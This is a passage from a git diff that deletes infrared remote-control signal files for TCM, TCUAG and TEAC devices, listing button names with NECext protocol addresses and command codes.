VTON -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: VTOFF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TCM/Unknown_TCM/176,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TCM/Unknown_TCM/176,0.ir deleted file mode 100644 index e1c42f347..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TCM/Unknown_TCM/176,0.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 00 00 00 00 -# -name: Frwd -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 04 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 05 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 06 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 0A 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 10 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 11 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 12 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 13 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 14 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 15 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 16 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 17 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 18 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 19 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 33 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 3D 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 48 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 49 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 4A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 80 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 82 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 83 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 85 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 86 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 87 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 88 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 8E 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 90 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 91 00 00 00 -# -name: Pink -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 94 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 9B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TCUAG/Unknown_TVBOX/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TCUAG/Unknown_TVBOX/6,-1.ir deleted file mode 100644 index 0a3583f6c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TCUAG/Unknown_TVBOX/6,-1.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Mute -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 00 00 00 00 -# -name: StdBy -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 01 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 02 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 03 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 04 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 05 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 06 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 07 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 08 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 09 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 0A 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 0B 00 00 00 -# -name: No -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 0C 00 00 00 -# -name: Up -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 0D 00 00 00 -# -name: Yes -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 0E 00 00 00 -# -name: Left -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 0F 00 00 00 -# -name: Menu -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 10 00 00 00 -# -name: Right -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 11 00 00 00 -# -name: Down -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 12 00 00 00 -# -name: Red -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 13 00 00 00 -# -name: Yellow -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 14 00 00 00 -# -name: Blue -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 15 00 00 00 -# -name: Rewind -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 16 00 00 00 -# -name: Start -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 17 00 00 00 -# -name: Forward -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 18 00 00 00 -# -name: Record -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 19 00 00 00 -# -name: Stop -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 1A 00 00 00 -# -name: F1 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 1B 00 00 00 -# -name: F2 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 1C 00 00 00 -# -name: F3 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 1D 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 1E 00 00 00 -# -name: Quit -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 1F 00 00 00 -# -name: Wish -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 20 00 00 00 -# -name: Key -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 21 00 00 00 -# -name: VTX -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 22 00 00 00 -# -name: Green -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 23 00 00 00 -# -name: Pause -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 34 00 00 00 -# -name: Help -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 35 00 00 00 -# -name: EPG -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 36 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 36 00 00 00 -# -name: PC -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 36 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 36 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/DVD Player/163,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/DVD Player/163,-1.ir deleted file mode 100644 index 33e60bf93..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/DVD Player/163,-1.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STOP -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 98 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: AUDIO_MODE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: MENU_DOWN -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: MENU_LEFT -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: MENU_RIGHT -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: MENU_UP -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: STEP_< -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: STEP_> -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9A 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9B 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9C 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9D 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9E 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/DVD Player/175,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/DVD Player/175,-1.ir deleted file mode 100644 index 33013a7e9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/DVD Player/175,-1.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 36 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 63 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 64 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A0 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A1 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A2 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A3 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A4 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A5 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A6 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A7 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A8 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A9 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B0 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B4 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B5 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B6 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B7 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B8 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B9 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: BC 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: BE 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: BF 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: E3 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: E5 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: EF 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: F2 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: F3 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: F4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/Unknown_CD/134,97.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/Unknown_CD/134,97.ir deleted file mode 100644 index 9503c5d7b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/Unknown_CD/134,97.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 00 00 00 00 -# -name: discskip -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 02 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 04 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 05 00 00 00 -# -name: shuffle -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 06 00 00 00 -# -name: introcheck -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 07 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 08 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 09 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 0A 00 00 00 -# -name: memory -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 0B 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 0C 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 0D 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 0E 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 0F 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 10 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 11 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 12 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 13 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 14 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 15 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 17 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 18 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 19 00 00 00 -# -name: memorycheck -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 1A 00 00 00 -# -name: disc1 -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 1B 00 00 00 -# -name: disc2 -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 1C 00 00 00 -# -name: disc3 -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 1D 00 00 00 -# -name: disc4 -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 1E 00 00 00 -# -name: disc5 -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-547/3,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-547/3,1.ir deleted file mode 100644 index 740578823..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-547/3,1.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 03 01 00 00 -command: 10 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 03 01 00 00 -command: 20 00 00 00 -# -name: Program -type: parsed -protocol: NECext -address: 03 01 00 00 -command: 40 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-548/128,114.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-548/128,114.ir deleted file mode 100644 index 32d73fc66..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-548/128,114.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 00 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 04 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 06 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 07 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 08 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 09 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 0A 00 00 00 -# -name: X_KEY_1/all -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 0C 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 0D 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 0E 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 0F 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 10 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 11 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 12 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 13 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 14 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 15 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 17 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 18 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 19 00 00 00 -# -name: Program -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 1A 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 1C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-558/130,120.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-558/130,120.ir deleted file mode 100644 index 0880f7d75..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-558/130,120.ir +++ /dev/null @@ -1,86 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: counter_clear -type: parsed -protocol: NECext -address: 82 78 00 00 -command: 0A 00 00 00 -# -name: auto_monitor -type: parsed -protocol: NECext -address: 82 78 00 00 -command: 0C 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 82 78 00 00 -command: 10 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 82 78 00 00 -command: 11 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 82 78 00 00 -command: 12 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 82 78 00 00 -command: 13 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 82 78 00 00 -command: 15 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 82 78 00 00 -command: 16 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 82 78 00 00 -command: 17 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 82 78 00 00 -command: 1F 00 00 00 -# -name: RTZ -type: parsed -protocol: NECext -address: 82 78 00 00 -command: 49 00 00 00 -# -name: CD_sync_left -type: parsed -protocol: NECext -address: 82 78 00 00 -command: 54 00 00 00 -# -name: CPS_forward -type: parsed -protocol: NECext -address: 82 78 00 00 -command: 5C 00 00 00 -# -name: CPS_back -type: parsed -protocol: NECext -address: 82 78 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-614/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-614/0,-1.ir deleted file mode 100644 index 5797dd60a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-614/0,-1.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: PP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: DISP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: QV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: ST-MON -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: HOLD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2A 00 00 00 -# -name: SIZE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: REVEAL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2C 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: MIX -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 -# -name: TEXT_ON -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: TEXT_OFF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-909/34,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-909/34,1.ir deleted file mode 100644 index f5b76733e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-909/34,1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 22 01 00 00 -command: 00 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 22 01 00 00 -command: 01 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 22 01 00 00 -command: 02 00 00 00 -# -name: Tuner_(Band) -type: parsed -protocol: NECext -address: 22 01 00 00 -command: 03 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 22 01 00 00 -command: 06 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 22 01 00 00 -command: 07 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 22 01 00 00 -command: 08 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 22 01 00 00 -command: 09 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 22 01 00 00 -command: 0A 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 22 01 00 00 -command: 0B 00 00 00 -# -name: Repeat/Preset_up -type: parsed -protocol: NECext -address: 22 01 00 00 -command: 0C 00 00 00 -# -name: Shuffle -type: parsed -protocol: NECext -address: 22 01 00 00 -command: 0D 00 00 00 -# -name: EEPS -type: parsed -protocol: NECext -address: 22 01 00 00 -command: 0E 00 00 00 -# -name: Time_Mode -type: parsed -protocol: NECext -address: 22 01 00 00 -command: 0F 00 00 00 -# -name: 